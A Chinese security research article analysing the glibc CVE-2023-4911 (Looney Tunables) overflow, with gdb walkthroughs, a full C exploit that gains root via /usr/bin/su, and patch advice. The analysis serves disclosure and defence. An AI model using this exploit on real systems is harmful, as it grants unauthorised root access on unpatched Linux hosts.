原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析
原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析
白帽子 2023-12-27 00:14
作者:Hcamael@知道创宇404实验室
时间:2023年12月18日
1.前言****
参考资料
最近 glibc 被曝出一个漏洞:CVE-2023-4911。初步观察表明,该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞,评估该漏洞的利用难度和危害。
2. 信息收集****
参考资料
网上能搜集到的信息如下:
– 漏洞详情[1]
- 在环境 glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的 exp[2]
3. 漏洞点
参考资料
我们先通过详情来看漏洞点,根据漏洞详情中的介绍,该漏洞位于 glibc 的elf/dl-tunables.c
文件中的parse_tunables
函数:
static voidparse_tunables (char *tunestr, char *valstring){ if (tunestr == NULL || *tunestr == '\0') return; char *p = tunestr; size_t off = 0; while (true) { char *name = p; size_t len = 0; /* First, find where the name ends. */ while (p[len] != '=' && p[len] != ':' && p[len] != '\0') len++; /* If we reach the end of the string before getting a valid name-value pair, bail out. */ if (p[len] == '\0') { if (__libc_enable_secure) tunestr[off] = '\0'; return; } /* We did not find a valid name-value pair before encountering the colon. */ if (p[len]== ':') { p += len + 1; continue; } p += len + 1; /* Take the value from the valstring since we need to NULL terminate it. */ char *value = &valstring[p - tunestr]; len = 0; while (p[len] != ':' && p[len] != '\0') len++; /* Add the tunable if it exists. */ for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++) { tunable_t *cur = &tunable_list[i]; if (tunable_is_name (cur->name, name)) { /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. Tunable values take precedence over their envvar aliases. We write the tunables that are not SXID_ERASE back to TUNESTR, thus dropping all SXID_ERASE tunables and any invalid or unrecognized tunables. */ if (__libc_enable_secure) { if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) { if (off > 0) tunestr[off++] = ':'; const char *n = cur->name; while (*n != '\0') tunestr[off++] = *n++; tunestr[off++] = '='; for (size_t j = 0; j < len; j++) tunestr[off++] = value[j]; } if (cur->security_level != TUNABLE_SECLEVEL_NONE) break; } value[len] = '\0'; tunable_initialize (cur, value); break; } } if (p[len] != '\0') p += len + 1; }}
调用该函数的代码位于该文件的__tunables_init
函数中:
void__tunables_init (char **envp){ char *envname = NULL; char *envval = NULL; size_t len = 0; char **prev_envp = envp; maybe_enable_malloc_check (); while ((envp = get_next_env (envp, &envname, &len, &envval, &prev_envp)) != NULL) {#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring if (tunable_is_name (GLIBC_TUNABLES, envname)) { char *new_env = tunables_strdup (envname); if (new_env != NULL) parse_tunables (new_env + len + 1, envval); /* Put in the updated envval. */ *prev_envp = new_env; continue; }#endif......}
相关代码不长,仔细看几遍代码就能理解,理解困难的话建议加上调试,此处我就总结一下该漏洞触发的流程。
1.匹配环境变量GLIBC_TUNABLES
。
2.该环境变量的值使用tunables_strdup
函数,类似strdup
函数,就是把字符串放到堆
上,但是因为这个时候 libc 还没有初始化完成,所以使用的是__minimal_malloc
。
3.接着调用 parse_tunables 函数来处理GLIBC_TUNABLES
环境变量的值。
4.libc 有一个表:tunable_list,可以通过 gdb 来输出一下这个表的信息。
5.当__libc_enable_secure
启用使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE
时,会对环境变量进行一些处理,而这个处理就造成缓冲区溢出漏洞。
溢出的原因请仔细阅读parse_tunables
函数代码,这里不再展开。不过下面给出一个示例来演示一下溢出的过程,这里有一个要注意的地方:gdb 没办法直接调试 suid 的程序,需要用到一个小技巧。
首先写一个中间程序:
// a.c#include <unistd.h>int main(int argc, char *argv[]){ char *cmd[] = {"/usr/bin/su", "--help"}; char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"}; execve(cmd[0], cmd, envp); return 0;}// gcc a.c -o a
再编写一个.gdbinit
文件:
$ cat .gdbinitstartset follow-exec-mode newdir /usr/src/glibc/glibc-2.35/elf/b __GI___tunables_initc
接着就能开始使用 gdb 进行调试:
$ gdb a ? 0x7f43e9d6c560 <__GI___tunables_init> endbr64# 接着找到 tunables_strdup 函数中 __minimal_malloc 的位置,找到申请的内存地址pwndbg> b *(__GI___tunables_init+511)pwndbg> c ? 0x7f43e9d6c75f <__GI___tunables_init+511> call __minimal_malloc <__minimal_malloc> rdi: 0x3apwndbg> ni*RAX 0x7f43e9d902e0 ?— 0x0# 然后断点下到 parse_tunablespwndbg> b parse_tunablespwndbg> cpwndbg> x/4s 0x7f43e9d902e00x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"0x7f43e9d90319: ""0x7f43e9d9031a: ""0x7f43e9d9031b: ""# 确认一下 __libc_enable_secure = 1pwndbg> p __libc_enable_secure$1 = 1# 接着找到 parse_tunables 结束的代码pwndbg> b *(__GI___tunables_init+729)pwndbg> cpwndbg> x/4s 0x7f43e9d902e00x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出0x7f43e9d9035a: ""0x7f43e9d9035b: ""0x7f43e9d9035c: ""
4.利用条件
参考资
先来说说该漏洞利用的一些前置条件,通过parse_tunables
函数的代码,可以发现,只有当__libc_enable_secure == 1
的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1
呢?
翻阅 glibc 的代码,发现__libc_init_secure
函数:
void__libc_init_secure (void){ if (__libc_enable_secure_decided == 0) __libc_enable_secure = (startup_geteuid () != startup_getuid () || startup_getegid () != startup_getgid ());}
也就是说,只有当运行 suid/sgid 程序时,__libc_enable_secure
才会等于 1,如下所示:
$ iduid=1000(ubuntu) gid=1000(ubuntu)$ ls -alF /usr/bin/su-rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su*# su程序的__libc_enable_secure=1$ ls -alF test1-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*# 运行test1程序,__libc_enable_secure也等于1$ ls -alF test2-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*# 运行test2程序,__libc_enable_secure等于0
也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户的作用有限,不如从普通用户越权到 root 用户,以达到提权的效果。所以该漏洞最后的利用思路就是用来提权,本质上就是去溢出(PWN) 一个有 root 权限的程序,所以和内核提权的漏洞还是有本质上的区别。
再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权。
5. 漏洞利用
参考资料
首先,我想说一下该部分的内容。在完全理解漏洞发现者的利用思路后,我发现 glibc 的代码量还是非常大的,我目前也做不到对 glibc 的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,以下内容只是分享一下我对该利用思路的研究过程和理解。
1.简单地浏览一下公开的exp
代码,发现如下代码:
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh: fh.write(libc_e.d[0:__libc_start_main]) fh.write(shellcode) fh.write(libc_e.d[__libc_start_main + len(shellcode) :])
随后可进行推测,因为漏洞是发生在ld
加载程序中,所以可能替换掉 libc 的加载路径,就能加载自己修改过的恶意 libc 库。而加载程序 libc 时会默认运行起始函数的代码,起始函数是__libc_start_main
函数,所以把这部分的代码替换成自己要执行的 shellcode,那么加载恶意 libc 库的时候就会执行恶意嵌入的 shellcode 代码。
接下来就是开始研究该漏洞是如何替换掉 libc 的加载路径。
2.在相应的环境上运行一下,ASLR 开启的情况下,exp 不是一次就能成功的,ASLR 关闭的情况下没利用成功,暂且不管。
3.继续看exp
代码,发现跟程序地址有关的只有一个stack_top
地址,表示栈顶地址,而且经过计算后,最后的payload
中,该地址是一个定值,不会发现变化。我对这种利用方式深感好奇,认为这一利用思路非常巧妙,仅需覆盖一个栈地址即可替换 libc 的加载路径。
4.接下来我花一些时间去一步步调试,最后理解清楚该利用思路。为了节省大家时间,这里用一个 demo,然后缩减 exp 的内容,来帮助大家理解该利用思路。
首先写一个测试程序:
// test.c#include <stdio.h>unsigned long ptr = -0x18ULL;int main(int argc, char *argv[]){ printf("Hello World."); return 0;}// gcc test.c -g -no-pie -o test// ls -alF test// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*
我们设置的第一个环境变量为:
char fill[0xd00];strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");for (int i = strlen(fill1); i < (0xd00 - 1); i++){ fill[i] = 'A';}fill[0xd00 - 1] = '\0';
这部分将会调用__minimal_malloc(0xd00 + 1)
,这个时候的内存信息如下:
RAX
0x7f4109f8f2e0 ?— 0x0 # malloc的返回值pwndbg> vmmap0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2> hex(0x7f4109f8f2e0 + 0xd01)'0x7f4109f8ffe1'> hex(0x7f4109f90000 - 0x7f4109f8ffe1)'0x1f'
也就是说,这部分内存区域只剩下 0x1f 字节,如果后续还要调用 malloc,那么则会通过 mmap 申请一段新内存区域。
第一部分不会触发溢出漏洞。
设置的第二部分环境变量为:
#define PAYLOAD_SIZE 0x100char payload[PAYLOAD_SIZE];strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++){ payload[i] = 'B';} payload[PAYLOAD_SIZE - 1] = '\0';
第二部分将会调用__minimal_malloc(0x100 + 1)
,这个时候的内存信息如下:
*RAX 0x7f4109f52000 ?— 0x0 # malloc的返回值pwndbg> vmmap 0x7f4109f52000 0x7f4109f54000 rw-p 2000 0 [anon_7f4109f52]> hex(0x7f4109f52000 + 0x100)'0x7f4109f52100'
如果我们构造的代码到此为止,那么下一次 ld 获取内存是位于_dl_new_object
函数中,调用__minimal_calloc
函数,调试情况如下所示:
pwndbg> b *(_dl_new_object+109)pwndbg> c 0x7f4908e899fd <_dl_new_object+109> call qword ptr [rip + 0x2c06d] <__minimal_calloc>pwndbg> ni*RAX 0x7f4908e74c40 ?— 0x0
调用_dl_new_object
是为了给struct link_map
结构体申请内存,所以可以查看一下该结构:
pwndbg> b *(_dl_new_object+115)pwndbg> c 0x7ffaa8c249fd <_dl_new_object+109>: call QWORD PTR [rip+0x2c06d] # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov r14,raxpwndbg> p *((struct link_map *) $rax)$1 = { l_addr = 4774451407232463713, l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>, l_ld = 0x4242424242424242, l_next = 0x4242424242424242, l_prev = 0x4242424242424242, l_real = 0x4242424242424242, l_ns = 4774451407313060418, l_libname = 0x4242424242424242, l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},
通过该结构的数据发现,我们可以成功覆盖struct link_map
结构体,所以这个时候产生了一个思路:通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要对 glibc 的代码非常熟悉,加上调试测试,才可能找到一个可行的利用链。
而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]
成员变量,相关代码位于elf/dl-load.c
文件的_dl_init_paths
函数:
void_dl_init_paths (const char *llp, const char *source, const char *glibc_hwcaps_prepend, const char *glibc_hwcaps_mask){...... if (l->l_info[DT_RPATH]) { /* Allocate room for the search path and fill in information from RPATH. */ decompose_rpath (&l->l_rpath_dirs, (const void *) (D_PTR (l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val), l, "RPATH"); /* During rtld init the memory is allocated by the stub malloc, prevent any attempt to free it by the normal malloc. */ l->l_rpath_dirs.malloced = 0; } else l->l_rpath_dirs.dirs = (void *) -1; }......
关于DT_RPATH
的用法,可以 Google 搜索一下:
简单来说,DT_RPATH
的值是一个偏移值,如果设置该值,那么就会在执行程序的DT_STRTAB
表中搜索字符串作为 libc 的搜索路径。
这样就产生一条利用链:通过内存溢出,设置link_map->l_info[DT_RPATH]
,从而控制libc
库加载的搜索路径,加载恶意的 libc.so 来达到命令执行目的。
我们来简单测试一下:
pwndbg> x/10gx 0x4040280x404028: 0x0000000000000000 0xffffffffffffffe8 # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;0x404038 <completed.0>: 0x0000000000000000 0x00000000000000000x404048: 0x0000000000000000 0x00000000000000000x404058: 0x0000000000000000 0x0000000000000000pwndbg> b *(_dl_init_paths+669)pwndbg> c ? 0x7f8596e999ad <_dl_init_paths+669> mov rax, qword ptr [rbx + 0xb8] // l->l_info[DT_RPATH] = [rbx + 0xb8] 0x7f8596e999b4 <_dl_init_paths+676> mov qword ptr [rbx + 0x3c0], -1 0x7f8596e999bf <_dl_init_paths+687> test rax, rax 0x7f8596e999c2 <_dl_init_paths+690> je _dl_init_paths+949 <_dl_init_paths+949>────────[ SOURCE (CODE) ]─────────In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c 804 else 805 { 806 l->l_runpath_dirs.dirs = (void *) -1; 807 ? 808 if (l->l_info[DT_RPATH]) 809 { 810 /* Allocate room for the search path and fill in information 811 from RPATH. */ 812 decompose_rpath (&l->l_rpath_dirs, 813 (const void *) (D_PTR (l, l_info[DT_STRTAB])pwndbg> x/gx $rbx + 0xb80x7fb757376398: 0x0000000000000000pwndbg> set *0x7fb757376398=0x404028pwndbg> p ((struct link_map *) $rbx)->l_info[15]$4 = (Elf64_Dyn *) 0x404028pwndbg> b *(_dl_init_paths+718)pwndbg> c ? 0x7fb7573439de <_dl_init_paths+718> add rsi, qword ptr [rax + 8] <ptr> 0x7fb7573439e2 <_dl_init_paths+722> lea rdi, [rbx + 0x330] 0x7fb7573439e9 <_dl_init_paths+729> lea rcx, [rip + 0x253c8] 0x7fb7573439f0 <_dl_init_paths+736> add rsi, rdx 0x7fb7573439f3 <_dl_init_paths+739> mov rdx, rbx 0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath>────────[ SOURCE (CODE) ]─────────In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c 809 { 810 /* Allocate room for the search path and fill in information 811 from RPATH. */ 812 decompose_rpath (&l->l_rpath_dirs, 813 (const void *) (D_PTR (l, l_info[DT_STRTAB]) ? 814 + l->l_info[DT_RPATH]->d_un.d_val), 815 l, "RPATH");pwndbg> b *(_dl_init_paths+742)pwndbg> c ? 0x7fb7573439f6 <_dl_init_paths+742> call decompose_rpath <decompose_rpath> rdi: 0x7fb757376610 ?— 0x0 rsi: 0x400418 ?— 0x200000003b /* ';' */ rdx: 0x7fb7573762e0 ?— 0x0 rcx: 0x7fb757368db8 ?— 0x3b3a004854415052 /* 'RPATH' */
路径就是decompose_rpath
函数的第二个参数,是一个指针,其值为0x400418
,指向”;”字符串,那么该值是如何算出来的?STRTAB 地址为0x400430
,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18
,两者相加,就等于0x400418
。接着继续调试:
# 执行完decompose_rpath后,查看link_map结构体pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)$7 = { next = 0x7f33ac209000, what = 0x7f33ac238db8 "RPATH", where = 0x7f33ac2091bb "", dirname = 0x7f33ac2091b8 ";/", # 成功设置了libc搜索路径 dirnamelen = 2, status = 0x7f33ac209198}pwndbg> b open_verifyBreakpoint 4 at 0x7f33ac211940 (2 locations)pwndbg> c*RDI 0x7fff0b17b0a0 ?— ';/tls/x86_64/x86_64/libc.so.6'# 这里可以一直按c,查看rdi寄存器,最简单的路径如下*RDI 0x7fff0b17b0a0 ?— ';/libc.so.6'# 接着就可以关闭断点,继续执行了,就可以得到shell,如果执行失败,那可能是因为你没创建';/libc.so.6'文件pwndbg> c$ iduid=1000(ubuntu) gid=1000(ubuntu)
由于是使用 gdb 进行调试,所以没能获得 root 权限,但是这并不构成问题。只要我们走通流程,就可以进入下一步。
我们该如何覆盖到link_map->l_info[DT_RPATH]
结构?我们已知,在执行完__tunables_init
函数后,下一次申请内存地址就是在_dl_new_object
函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。
也就是要溢出覆盖到之后偏移为0xb8
的地址 ,并且这区间的地址值建议覆盖成\0
,防止 glibc 代码中有相关的检查导致报错。
我研究出一种简单的方法来快速调试需要覆盖的地址偏移:
1.我们断点下在_dl_new_object函数的calloc处,也就是_dl_new_object+109,方便调试,查看内存布局
2.在exp.c中,envp[0] = fill1;用来填充旧的内存区域,envp[1] = payload;用来进行内存溢出。
因此之后要留有一部分区域置 0,直到设置到\xb8
:
for (int i=2;i<ENVP_SIZE-1;i++) envp[i] = "";envp[0x20 + 0xb8] = "\x28\x40\x40";# payload 的长度随便设置,暂时选择了 0x100
接着调试,看看我们这样的布局能溢出成怎样的内存布局:
pwndbg> b *(_dl_new_object+109)pwndbg> cpwndbg> vmmap 0x7fca03d3c000 0x7fca03d3e000 rw-p 2000 0 [anon_7fca03d3c]pwndbg> x/64gx 0x7fca03d3c000 + 0x100......0x7fca03d3c1f0: 0x000000000000003d 0x00000000000000000x7fca03d3c200: 0x0000000000000000 0x00000000000000000x7fca03d3c210: 0x0000000000000000 0x00000000000000000x7fca03d3c220: 0x0000000000000000 0x00000000000000000x7fca03d3c230: 0x0000000000000000 0x00000000000000000x7fca03d3c240: 0x0000000000000000 0x00000000000000000x7fca03d3c250: 0x0000000000000000 0x00000000000000000x7fca03d3c260: 0x0000000000000000 0x00000000000000000x7fca03d3c270: 0x0000000000000000 0x00000000000000000x7fca03d3c280: 0x0000000000000000 0x00000000000000000x7fca03d3c290: 0x0000000000000000 0x00000000000000000x7fca03d3c2a0: 0x0000000000000000 0x00000000000000000x7fca03d3c2b0: 0x0000404028000000 0x2e6362696c673a000x7fca03d3c2c0: 0x6d2e636f6c6c616d 0x00003d74736166780x7fca03d3c2d0: 0x0000000000000000 0x00000000000000000x7fca03d3c2e0: 0x0000000000000000 0x00000000000000000x7fca03d3c2f0: 0x0000000000000000 0x0000000000000000
我们覆盖的值为0x404028
,从上面可以看出该值的地址为: 0x7fca03d3c2b3
,计算一下:
>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)'0xbb'# 发现大于0xb8
从这里可以得知link_map
结构体的前部分结构应该没有问题,但是问题在于后部:
pwndbg> x/6gx 0x7fca03d3c2b30x7fca03d3c2b3: 0x673a000000404028 0x6c616d2e6362696c0x7fca03d3c2c3: 0x6166786d2e636f6c 0x00000000003d74730x7fca03d3c2d3: 0x0000000000000000 0x0000000000000000pwndbg> x/5s 0x7fca03d3c2b30x7fca03d3c2b3: "(@@"0x7fca03d3c2b7: ""0x7fca03d3c2b8: ""0x7fca03d3c2b9: ":glibc.malloc.mxfast="0x7fca03d3c2cf: ""
受漏洞点的限制,溢出的结尾必定有:xxxxx=
字符,我们要做的就是让该字符,离link_map
结构远一点,或者该部分区域会在ld
中进行初始化设置。
想要精细的调整,需要去研究哪些结构可以不置 0,但是我认为这种程度的精细调整并非必要,只需要调整payload
的长度,和envp[0x20 + 0xb8]
前部分这个偏移值,让:xxxxx=
字符串不影响到我们覆盖的地址就行。先这样使用,如果遇到报错,则继续调整,这样我们就没有必要继续阅读 glibc 源码。
当我把payload
的大小调整为0x200
时,这个时候的内存布局如下:
pwndbg> vmmap 0x7f94440ce000 0x7f94440d0000 rw-p 2000 0 [anon_7f94440ce]pwndbg> x/2gx 0x7f94440ce000 + 0x2000x7f94440ce200: 0x616d2e6362696c67 0x66786d2e636f6c6cpwndbg> x/8gx 0x7f94440ce4b30x7f94440ce4b3: 0x0000000000404028 0x00000000000000000x7f94440ce4c3: 0x0000000000000000 0x00000000000000000x7f94440ce4d3: 0x0000000000000000 0x00000000000000000x7f94440ce4e3: 0x0000000000000000 0x0000000000000000pwndbg> x/32gx 0x7f94440ce4b3 - 0xb80x7f94440ce3fb: 0x0000000000000000 0x00000000000000000x7f94440ce40b: 0x0000000000000000 0x00000000000000000x7f94440ce41b: 0x0000000000000000 0x00000000000000000x7f94440ce42b: 0x0000000000000000 0x00000000000000000x7f94440ce43b: 0x0000000000000000 0x00000000000000000x7f94440ce44b: 0x0000000000000000 0x00000000000000000x7f94440ce45b: 0x0000000000000000 0x00000000000000000x7f94440ce46b: 0x0000000000000000 0x00000000000000000x7f94440ce47b: 0x0000000000000000 0x00000000000000000x7f94440ce48b: 0x0000000000000000 0x00000000000000000x7f94440ce49b: 0x0000000000000000 0x00000000000000000x7f94440ce4ab: 0x0000000000000000 0x0000000000404028
从上面的内存布局来看,我们构造的link_map
结构是没问题的,但是怎么让link_map
申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb
,那么:
>>> hex(0x7f94440ce3fb - 0x7f94440ce200)'0x1fb'
中间这0x1fb
字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb
,所以还需要微调一下:envp[0x25 + 0xb8] = “\x28\x40\x40”;
再看一下内存结构:
pwndbg> vmmap 0x7f52386a6000 0x7f52386a8000 rw-p 2000 0 [anon_7f52386a6]pwndbg> x/2gx 0x7f52386a6000 + 0x2000x7f52386a6000: 0x616d2e6362696c67 0x66786d2e636f6c6cpwndbg> x/2gx 0x7f52386a64b80x7f52386a64b8: 0x0000000000404028 0x0000000000000000pwndbg> x/32gx 0x7f52386a64b8 - 0xb80x7f52386a6400: 0x0000000000000000 0x00000000000000000x7f52386a6410: 0x0000000000000000 0x00000000000000000x7f52386a6420: 0x0000000000000000 0x00000000000000000x7f52386a6430: 0x0000000000000000 0x00000000000000000x7f52386a6440: 0x0000000000000000 0x00000000000000000x7f52386a6450: 0x0000000000000000 0x00000000000000000x7f52386a6460: 0x0000000000000000 0x00000000000000000x7f52386a6470: 0x0000000000000000 0x00000000000000000x7f52386a6480: 0x0000000000000000 0x00000000000000000x7f52386a6490: 0x0000000000000000 0x00000000000000000x7f52386a64a0: 0x0000000000000000 0x00000000000000000x7f52386a64b0: 0x0000000000000000 0x00000000004040280x7f52386a64c0: 0x0000000000000000 0x00000000000000000x7f52386a64d0: 0x0000000000000000 0x00000000000000000x7f52386a64e0: 0x0000000000000000 0x00000000000000000x7f52386a64f0: 0x0000000000000000 0x0000000000000000>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)'0x1F0'# 减去 0x10 是因为 payload 长度为 0x200,实际 malloc 申请的是 0x201,再加上偏移,所以下一个堆其实地址应该是 +0x210
这样,我们就需要在前面填充 0x1F0 字节,那怎么填充呢?可以利用开头填充上一块堆的思路。
#define PADDING_SIZE 0x1F0char padding[PADDING_SIZE-3];strcpy(padding, "GLIBC_TUNABLES=");for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++){ padding[i] = 'D';}padding[PADDING_SIZE - 4] = '\0';envp[ENVP_SIZE-2] = padding;
调试看看:
pwndbg> b *(_dl_new_object+115)pwndbg> cpwndbg> p ((struct link_map *) $rax)->l_info[15]$2 = (Elf64_Dyn *) 0x404028
内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出 gdb,直接执行我们的 exp 程序,成功获取到 root 权限。
5.1 结合实际
前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test
程序, 这个我们测试用的test
程序是没有开PIE
的,所以我们写入0x404028
地址,可以稳定触发。
我查找了 ubuntu 的实际程序,所有suid
的程序都开启 PIE 保护,也就是说,我们没有一个已知地址。我又查看了内存布局,在执行ld
代码的时候,内存布局大致如下:
pwndbg> vmmap 0x55985479c000 0x55985479e000 r--p 2000 0 /usr/sbin/unix_chkpwd 0x55985479e000 0x5598547a1000 r-xp 3000 2000 /usr/sbin/unix_chkpwd 0x5598547a1000 0x5598547a2000 r--p 1000 5000 /usr/sbin/unix_chkpwd 0x5598547a2000 0x5598547a4000 rw-p 2000 5000 /usr/sbin/unix_chkpwd 0x7faf282aa000 0x7faf282ac000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7faf282ac000 0x7faf282d6000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7faf282d6000 0x7faf282e1000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7faf282e2000 0x7faf282e6000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffd042d5000 0x7ffd042f6000 rw-p 21000 0 [stack] 0x7ffd0439e000 0x7ffd043a2000 r--p 4000 0 [vvar] 0x7ffd043a2000 0x7ffd043a4000 r-xp 2000 0 [vdso]0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
我们只能确定vsyscall
地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存 Spray 了,比较合适的是 Stack Spray。
所以考虑通过环境变量来在栈上填充-0x14UL
,代码如下:
#define STACK_SIZE 0x20000char stack_spray[STACK_SIZE];for (int i = 0; i < STACK_SIZE; i += 8){ *(uintptr_t *)(stack_spray + i) = -0x14ULL;}stack_spray[STACK_SIZE - 1] = '\0';for (int i = 0; i < 0x2F; i++){ envp[0x180 + i] = stack_spray;}
一般情况下可能会报错:execve(“/usr/bin/su”, [“/usr/bin/su”, “–help”], 0x7fff64f33a50 / 499 vars /) = -1 E2BIG (Argument list too long)
可以在 execve 前调用一下下方代码,可以让缓冲区扩大到:0x20000 * 0x2F
:
struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY}; if (setrlimit(RLIMIT_STACK, &rlim) < 0) { perror("setrlimit"); }
剩下的任务就是确定一个栈地址,接着就是顺其自然的爆破了。
6. 相关代码
参考资料
最后贴一下简化版的相关代码:
#include <unistd.h>#include <string.h>#include <stdint.h>#include <sys/resource.h>#include <stdio.h>#include <time.h>#include <sys/wait.h>#define ENVP_SIZE 600#define PADDING_SIZE 0x1F0#define STACK_SIZE 0x20000int64_t time_us(){ struct timespec tms; /* POSIX.1-2008 way */ if (clock_gettime(CLOCK_REALTIME, &tms)) { return -1; } /* seconds, multiplied with 1 million */ int64_t micros = tms.tv_sec * 1000000; /* Add full microseconds */ micros += tms.tv_nsec / 1000; /* round up if necessary */ if (tms.tv_nsec % 1000 >= 500) { ++micros; } return micros;}int main(int argc, char *argv[]){// char *nargv[] = {"/home/hehe/Documents/libc-exp/test", NULL}; char *nargv[] = {"/usr/bin/su", "--help", 0}; char *envp[ENVP_SIZE] = {0, }; char fill1[0xd00]; char payload[0x200]; char padding[PADDING_SIZE-3]; char stack_spray[STACK_SIZE]; strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast="); for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++) { fill1[i] = 'A'; } fill1[sizeof(fill1) - 1] = '\0'; strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); for (int i = strlen(payload); i < sizeof(payload) - 1; i++) { payload[i] = 'B'; } payload[sizeof(payload) - 1] = '\0'; strcpy(padding, "GLIBC_TUNABLES="); for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++) { padding[i] = 'D'; } padding[PADDING_SIZE - 4] = '\0'; for (int i = 0; i < STACK_SIZE; i += 8) { *(uintptr_t *)(stack_spray + i) = -0x14ULL; } stack_spray[STACK_SIZE - 1] = '\0'; for (int i = 2; i < ENVP_SIZE-1; i++) { envp[i] = ""; } envp[0] = fill1; envp[1] = payload; // envp[0] = ""; // envp[1] = ""; envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F"; for (int i = 0; i < 0x2F; i++) { envp[0x200 + i] = stack_spray; } envp[0x1FE] = padding; envp[0x23F] = "AAAA"; struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY}; if (setrlimit(RLIMIT_STACK, &rlim) < 0) { perror("setrlimit"); } int pid; for (int ct = 1;; ct++) { if (ct % 100 == 0) { printf("try %d\n", ct); } if ((pid = fork()) < 0) { perror("fork"); break; } else if (pid == 0) // child { if (execve(nargv[0], nargv, envp) < 0) { perror("execve"); break; } } else // parent { int wstatus; int64_t st, en; st = time_us(); wait(&wstatus); en = time_us(); if (!WIFSIGNALED(wstatus) && en - st > 1000000) { // probably returning from shell :) break; } } } // execve(nargv[0], nargv, envp); return 0;}
测试情况如下:
$ ./myexptry 100try 200try 300try 400try 500try 600try 700try 800try 900try 1000try 1100try 1200try 1300try 1400# id
uid=0(root) gid=0(root)
7. 修复方案
参考资料
各大系统都对该漏洞发布了更新补丁,比如ubuntu
系统,可以使用如下命令对 glibc 进行更新:
# apt-get update# apt-get upgrade libc6
8. 参考文档
参考资料
1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
- https://haxx.in/files/gnu-acme.py
作者名片****
往 期 热 门****
(点击图片跳转)
戳
“阅读原文”
更多精彩内容!